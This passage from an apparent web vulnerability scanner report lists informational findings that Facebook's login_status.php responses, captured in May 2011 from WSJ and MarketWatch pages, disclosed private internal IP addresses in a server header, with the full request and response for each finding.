Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.43.43

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df16372692c%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff1b3f0137c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df15748ce24%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff1b3f0137c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ebb3b5b4%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1a118caa%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff1b3f0137c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ebb3b5b4&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1a8342f6c%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff1b3f0137c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ebb3b5b4&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df289d246c%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ff1b3f0137c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df1ebb3b5b4&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f1a8342f6c&origin=http%3A%2F%2Fcommerce.wsj.com%2Ff1b3f0137c&relation=parent&transport=postmessage&frame=f1ebb3b5b4
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.43.43
X-Cnection: close
Date: Sat, 14 May 2011 10:12:13 GMT
Content-Length: 0

24.25. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.228.67

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df32287bcc4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df69ce9a84%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df255645c48%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df231c3293%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df255645c48&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3b8bf04e8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df255645c48&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1c1fe1584%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1a1e8cfac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df255645c48&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html?mod=WSJ_newsreel_personalFinance
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f3b8bf04e8&origin=http%3A%2F%2Fonline.wsj.com%2Ff1a1e8cfac&relation=parent&transport=postmessage&frame=f255645c48
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.228.67
X-Cnection: close
Date: Sat, 14 May 2011 11:37:18 GMT
Content-Length: 0

24.26. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.62.79

Request

Response

24.27. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.170.107

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df22373203c%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ffe729377%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3a24fe1b8%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ffe729377%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22f66bc04%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2326ab058%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ffe729377%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22f66bc04&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df26835fc84%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ffe729377%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22f66bc04&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df33a9609f%26origin%3Dhttp%253A%252F%252Fcommerce.wsj.com%252Ffe729377%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df22f66bc04&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://commerce.wsj.com/auth/login?mg=inert-wsj&mod=login_artpreview
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f26835fc84&origin=http%3A%2F%2Fcommerce.wsj.com%2Ffe729377&relation=parent&transport=postmessage&frame=f22f66bc04
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.170.107
X-Cnection: close
Date: Sat, 14 May 2011 10:16:10 GMT
Content-Length: 0

24.28. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.52.25

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df29a01e68c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df20ae1483%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3764ab38%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1ad8f000c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3764ab38&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfe2631958%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3764ab38&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3cbb0d87c%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2f339beb8%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3764ab38&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=fe2631958&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff2f339beb8&relation=parent&transport=postmessage&frame=f3764ab38
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.52.25
X-Cnection: close
Date: Sat, 14 May 2011 10:35:39 GMT
Content-Length: 0

24.29. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.223.45

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df11934ac18%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3338f5a2c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df36a2cbbe8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3338f5a2c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfe7cc75a4%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3a0fdfe6c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3338f5a2c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfe7cc75a4&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df34a1d7bb8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3338f5a2c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfe7cc75a4&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df331847708%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff3338f5a2c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Dfe7cc75a4&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f34a1d7bb8&origin=http%3A%2F%2Fonline.wsj.com%2Ff3338f5a2c&relation=parent&transport=postmessage&frame=fe7cc75a4
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.223.45
X-Cnection: close
Date: Sat, 14 May 2011 10:24:11 GMT
Content-Length: 0

24.30. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.100.25

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3c97c8434%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1195e5e24%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2ae82d858%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1195e5e24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20ba5f8c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df18a32b10c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1195e5e24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20ba5f8c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfc02412f%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1195e5e24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20ba5f8c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3ed207d1%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1195e5e24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df20ba5f8c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-economy.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=fc02412f&origin=http%3A%2F%2Fonline.wsj.com%2Ff1195e5e24&relation=parent&transport=postmessage&frame=f20ba5f8c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.100.25
X-Cnection: close
Date: Sat, 14 May 2011 10:12:34 GMT
Content-Length: 0

24.31. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.49.73

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df21d210708%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3bcdb733%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df305277f%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df25633abd%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df305277f&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df74f37a0%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df305277f&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df47e04008%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff2b2426148%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df305277f&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f74f37a0&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff2b2426148&relation=parent&transport=postmessage&frame=f305277f
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.49.73
X-Cnection: close
Date: Sat, 14 May 2011 10:35:11 GMT
Content-Length: 0

24.32. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.53.40.33

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1a609fa6%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df331e616dc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df2a8b6648c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1877f1df8%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df2a8b6648c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df3d1dacdc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df2a8b6648c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df36e6d143c%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df2a8b6648c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576321552255041680.html?mod=WSJ_hp_LEFTTopStories
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f3d1dacdc&origin=http%3A%2F%2Fonline.wsj.com%2Ff1ec38af7c&relation=parent&transport=postmessage&frame=f2a8b6648c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.53.40.33
X-Cnection: close
Date: Sat, 14 May 2011 10:09:47 GMT
Content-Length: 0

24.33. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.194.69

Request

GET /extern/login_status.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&app_id=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df7ec57c14%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df495aa4cc%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df27c5d847%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2bce73b84%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df27c5d847&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1207f955%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df27c5d847&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df19e3daa08%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff383138bac%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df27c5d847&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f1207f955&origin=http%3A%2F%2Fonline.wsj.com%2Ff383138bac&relation=parent&transport=postmessage&frame=f27c5d847
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.42.194.69
X-Cnection: close
Date: Sat, 14 May 2011 10:28:47 GMT
Content-Length: 0

24.34. http://www.facebook.com/extern/login_status.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/extern/login_status.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.215.116

Request

GET /extern/login_status.php?api_key=283204329838&app_id=283204329838&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df2c63928d4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&method=auth.status&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df27bd8b16%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3712951c%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1c5fcfea4%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3712951c&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df1e56c565%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3712951c&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Dfd9652b5%26origin%3Dhttp%253A%252F%252Fwww.marketwatch.com%252Ff34cdec228%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df3712951c&sdk=joey&session_version=3 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 302 Found
Location: http://static.ak.fbcdn.net/connect/xd_proxy.php?version=1#cb=f1e56c565&origin=http%3A%2F%2Fwww.marketwatch.com%2Ff34cdec228&relation=parent&transport=postmessage&frame=f3712951c
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.36.215.116
X-Cnection: close
Date: Sat, 14 May 2011 10:14:14 GMT
Content-Length: 0

